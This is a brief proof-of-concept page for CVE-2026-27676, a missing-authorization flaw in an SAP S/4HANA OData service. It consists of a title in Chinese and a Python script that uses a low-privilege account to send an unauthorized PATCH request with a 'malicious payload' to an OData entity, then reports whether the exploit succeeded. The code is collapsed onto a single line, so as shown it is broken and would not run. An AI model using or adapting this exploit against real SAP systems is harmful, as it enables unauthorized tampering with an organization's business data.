CVE-2026-27676 SAP S/4HANA OData服务权限缺失漏洞

import requests # Target URL placeholder url = "https://<s4hana-host>/sap/opu/odata/sap/API_TECH_OBJ_STRUCT/EntitySet('<ID>')" # Attacker's low-privilege credentials auth = ('low_priv_user', 'password') # CSRF Token is usually required for OData write operations headers = { "Content-Type": "application/json", "x-csrf-token": "<fetch_token_via_head_request>" } # Malicious payload to update the entity payload = { "PropertyToChange": "MaliciousValue" } try: # Send PATCH request to update entity (Exploitation) response = requests.patch(url, headers=headers, json=payload, auth=auth) if response.status_code in [200, 204]: print("[+] Exploit Successful: Entity updated without proper authorization.") else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"Error: {e}")